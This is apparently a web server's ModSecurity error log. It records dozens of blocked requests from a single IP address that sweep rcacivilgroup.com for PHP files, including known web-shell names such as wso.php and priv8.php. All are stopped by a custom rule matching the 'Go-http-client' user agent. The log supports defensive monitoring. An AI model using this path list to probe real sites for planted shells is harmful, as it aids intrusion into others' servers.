[Sat Apr 18 19:48:27.835746 2026] [:error] [pid 34237:tid 34260] [client 217.216.58.146:53431] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/memberfuns.php"] [unique_id "aeNvixBmX4Wq5a6rxfaZhQAAAVU"]
[Sat Apr 18 19:48:28.245452 2026] [:error] [pid 9970:tid 9991] [client 217.216.58.146:53465] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/memberfuns.php"] [unique_id "aeNvjCYdRLRhVmaIMx2uYAAAANE"]
[Sat Apr 18 19:48:29.261582 2026] [:error] [pid 9970:tid 9979] [client 217.216.58.146:53519] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/memberfuns.php"] [unique_id "aeNvjSYdRLRhVmaIMx2uYwAAAMU"]
[Sat Apr 18 19:48:29.681124 2026] [:error] [pid 13023:tid 13037] [client 217.216.58.146:53531] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/delpaths.php"] [unique_id "aeNvjf1e7hG8DAeABB__tQAAAQw"]
[Sat Apr 18 19:48:30.096958 2026] [:error] [pid 9970:tid 9985] [client 217.216.58.146:53541] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gdftps.php"] [unique_id "aeNvjiYdRLRhVmaIMx2uZgAAAMs"]
[Sat Apr 18 19:48:30.544034 2026] [:error] [pid 13023:tid 13034] [client 217.216.58.146:53556] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeNvjv1e7hG8DAeABB__tgAAAQk"]
[Sat Apr 18 19:48:30.934556 2026] [:error] [pid 9863:tid 9881] [client 217.216.58.146:53561] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeNvjjjjiypiFrTucbLJUwAAAAg"]
[Sat Apr 18 19:48:31.385599 2026] [:error] [pid 9863:tid 9875] [client 217.216.58.146:53577] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classfuns.php"] [unique_id "aeNvjzjjiypiFrTucbLJVAAAAAI"]
[Sat Apr 18 19:48:31.801094 2026] [:error] [pid 9863:tid 9877] [client 217.216.58.146:53589] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/thoms.php"] [unique_id "aeNvjzjjiypiFrTucbLJVQAAAAQ"]
[Sat Apr 18 19:48:32.225445 2026] [:error] [pid 9864:tid 9907] [client 217.216.58.146:53611] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/filefuns.php"] [unique_id "aeNvkICFeowknfXHM7kPFAAAAEI"]
[Sat Apr 18 19:48:32.619287 2026] [:error] [pid 34237:tid 34255] [client 217.216.58.146:53635] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/tempfuns.php"] [unique_id "aeNvkBBmX4Wq5a6rxfaZjQAAAVA"]
[Sat Apr 18 19:48:33.013302 2026] [:error] [pid 9864:tid 9921] [client 217.216.58.146:53659] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/termps.php"] [unique_id "aeNvkYCFeowknfXHM7kPFgAAAE8"]
[Sat Apr 18 19:48:33.418117 2026] [:error] [pid 34290:tid 34329] [client 217.216.58.146:53688] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeNvkRqX6WpmmAXOBi8R_QAAAco"]
[Sat Apr 18 19:48:33.837441 2026] [:error] [pid 9863:tid 9890] [client 217.216.58.146:53709] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/hplfuns.php"] [unique_id "aeNvkTjjiypiFrTucbLJWQAAABE"]
[Sat Apr 18 19:48:34.254220 2026] [:error] [pid 9864:tid 9922] [client 217.216.58.146:53726] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/userfuns.php"] [unique_id "aeNvkoCFeowknfXHM7kPFwAAAFA"]
[Sat Apr 18 19:48:34.769232 2026] [:error] [pid 9970:tid 9995] [client 217.216.58.146:53738] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeNvkiYdRLRhVmaIMx2uaQAAANU"]
[Sat Apr 18 19:48:35.191832 2026] [:error] [pid 13023:tid 13026] [client 217.216.58.146:53753] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeNvk_1e7hG8DAeABB__uQAAAQE"]
[Sat Apr 18 19:48:35.692479 2026] [:error] [pid 9970:tid 9997] [client 217.216.58.146:53764] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeNvkyYdRLRhVmaIMx2ubwAAANc"]
[Sat Apr 18 19:48:37.646550 2026] [:error] [pid 13023:tid 13046] [client 217.216.58.146:53835] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chtmlfuns.php"] [unique_id "aeNvlf1e7hG8DAeABB__uwAAARU"]
[Sat Apr 18 19:48:38.068419 2026] [:error] [pid 9863:tid 9875] [client 217.216.58.146:53860] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "aeNvljjjiypiFrTucbLJXwAAAAI"]
[Sat Apr 18 19:48:38.833894 2026] [:error] [pid 9864:tid 9913] [client 217.216.58.146:53888] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classsmtps.php"] [unique_id "aeNvloCFeowknfXHM7kPGQAAAEc"]
[Sat Apr 18 19:48:39.254926 2026] [:error] [pid 9864:tid 9918] [client 217.216.58.146:53911] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classfuns.php"] [unique_id "aeNvl4CFeowknfXHM7kPGgAAAEw"]
[Sat Apr 18 19:48:39.646400 2026] [:error] [pid 9864:tid 9915] [client 217.216.58.146:53926] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/comdofuns.php"] [unique_id "aeNvl4CFeowknfXHM7kPHAAAAEk"]
[Sat Apr 18 19:48:42.835776 2026] [:error] [pid 34237:tid 34244] [client 217.216.58.146:54034] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/filefuns.php"] [unique_id "aeNvmhBmX4Wq5a6rxfaZlgAAAUU"]
[Sat Apr 18 19:48:43.246303 2026] [:error] [pid 9864:tid 9927] [client 217.216.58.146:54049] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gdftps.php"] [unique_id "aeNvm4CFeowknfXHM7kPIwAAAFU"]
[Sat Apr 18 19:48:43.916514 2026] [:error] [pid 9865:tid 9955] [client 217.216.58.146:54076] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/hinfofuns.php"] [unique_id "aeNvm6zb5knECIY-C-h9GQAAAJI"]
[Sat Apr 18 19:48:44.401187 2026] [:error] [pid 9865:tid 9940] [client 217.216.58.146:54094] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeNvnKzb5knECIY-C-h9HAAAAIM"]
[Sat Apr 18 19:48:44.960911 2026] [:error] [pid 9865:tid 9943] [client 217.216.58.146:54109] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/memberfuns.php"] [unique_id "aeNvnKzb5knECIY-C-h9HQAAAIY"]
[Sat Apr 18 19:48:45.886310 2026] [:error] [pid 34237:tid 34256] [client 217.216.58.146:54130] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/moddofuns.php"] [unique_id "aeNvnRBmX4Wq5a6rxfaZnAAAAVE"]
[Sat Apr 18 19:48:46.387321 2026] [:error] [pid 34237:tid 34245] [client 217.216.58.146:54144] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/onclickfuns.php"] [unique_id "aeNvnhBmX4Wq5a6rxfaZnwAAAUY"]
[Sat Apr 18 19:48:46.791160 2026] [:error] [pid 34237:tid 34260] [client 217.216.58.146:54164] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/qinfofuns.php"] [unique_id "aeNvnhBmX4Wq5a6rxfaZogAAAVU"]
[Sat Apr 18 19:48:47.257403 2026] [:error] [pid 9863:tid 9896] [client 217.216.58.146:54184] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/tempfuns.php"] [unique_id "aeNvnzjjiypiFrTucbLJbAAAABc"]
[Sat Apr 18 19:48:47.658335 2026] [:error] [pid 9863:tid 9873] [client 217.216.58.146:54207] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/userfuns.php"] [unique_id "aeNvnzjjiypiFrTucbLJbgAAAAA"]
[Sat Apr 18 19:48:48.107664 2026] [:error] [pid 34290:tid 34325] [client 217.216.58.146:54228] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/termps.php"] [unique_id "aeNvoBqX6WpmmAXOBi8SDAAAAcY"]
[Sat Apr 18 19:48:48.547032 2026] [:error] [pid 13023:tid 13040] [client 217.216.58.146:54268] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/thoms.php"] [unique_id "aeNvoP1e7hG8DAeABB__vwAAAQ8"]
[Sat Apr 18 19:51:46.773773 2026] [:error] [pid 34290:tid 34324] [client 217.216.58.146:61211] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aeNwUhqX6WpmmAXOBi8TGAAAAcU"]
[Sat Apr 18 19:51:47.162846 2026] [:error] [pid 34237:tid 34251] [client 217.216.58.146:61232] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dex.php"] [unique_id "aeNwUxBmX4Wq5a6rxfabHQAAAUw"]
[Sat Apr 18 19:51:47.573617 2026] [:error] [pid 9864:tid 9907] [client 217.216.58.146:61263] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aeNwU4CFeowknfXHM7kQxwAAAEI"]
[Sat Apr 18 19:51:47.987900 2026] [:error] [pid 34237:tid 34244] [client 217.216.58.146:61291] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aeNwUxBmX4Wq5a6rxfabIAAAAUU"]
[Sat Apr 18 19:51:48.403197 2026] [:error] [pid 34237:tid 34252] [client 217.216.58.146:61330] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "aeNwVBBmX4Wq5a6rxfabIgAAAU0"]
[Sat Apr 18 19:51:48.819574 2026] [:error] [pid 9864:tid 9907] [client 217.216.58.146:61359] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeNwVICFeowknfXHM7kQ1QAAAEI"]
[Sat Apr 18 19:51:49.237343 2026] [:error] [pid 13023:tid 13030] [client 217.216.58.146:61380] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aeNwVf1e7hG8DAeABB8AmQAAAQU"]
[Sat Apr 18 19:51:49.650954 2026] [:error] [pid 9970:tid 9983] [client 217.216.58.146:61402] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aeNwVSYdRLRhVmaIMx2u8wAAAMk"]
[Sat Apr 18 19:51:50.052117 2026] [:error] [pid 34288:tid 34299] [client 217.216.58.146:61426] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "aeNwVuTIiy__PtiLmpnQHAAAAYc"]
[Sat Apr 18 19:51:50.460153 2026] [:error] [pid 9864:tid 9907] [client 217.216.58.146:61448] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "aeNwVoCFeowknfXHM7kQ6QAAAEI"]
[Sat Apr 18 19:51:50.880482 2026] [:error] [pid 34237:tid 34244] [client 217.216.58.146:61475] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aeNwVhBmX4Wq5a6rxfabJgAAAUU"]
[Sat Apr 18 19:51:51.703274 2026] [:error] [pid 34237:tid 34248] [client 217.216.58.146:61504] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aeNwVxBmX4Wq5a6rxfabKAAAAUk"]
[Sat Apr 18 19:51:52.098570 2026] [:error] [pid 34237:tid 34262] [client 217.216.58.146:61536] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "aeNwWBBmX4Wq5a6rxfabKgAAAVc"]
[Sat Apr 18 19:51:52.494743 2026] [:error] [pid 9970:tid 9980] [client 217.216.58.146:61561] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "aeNwWCYdRLRhVmaIMx2u9gAAAMY"]
[Sat Apr 18 19:51:52.902529 2026] [:error] [pid 9970:tid 9992] [client 217.216.58.146:61590] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "aeNwWCYdRLRhVmaIMx2u-AAAANI"]
[Sat Apr 18 19:51:53.316367 2026] [:error] [pid 34288:tid 34306] [client 217.216.58.146:61621] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/priv8.php"] [unique_id "aeNwWeTIiy__PtiLmpnQIQAAAY4"]
[Sat Apr 18 19:51:53.774894 2026] [:error] [pid 34290:tid 34337] [client 217.216.58.146:61657] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aeNwWRqX6WpmmAXOBi8TPQAAAdI"]
[Sat Apr 18 19:51:54.176778 2026] [:error] [pid 34237:tid 34247] [client 217.216.58.146:61680] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aeNwWhBmX4Wq5a6rxfabLAAAAUg"]
[Sat Apr 18 19:51:54.574008 2026] [:error] [pid 34290:tid 34338] [client 217.216.58.146:61701] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "aeNwWhqX6WpmmAXOBi8TQQAAAdM"]
[Sat Apr 18 19:51:54.969266 2026] [:error] [pid 34237:tid 34261] [client 217.216.58.146:61720] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aeNwWhBmX4Wq5a6rxfabLgAAAVY"]
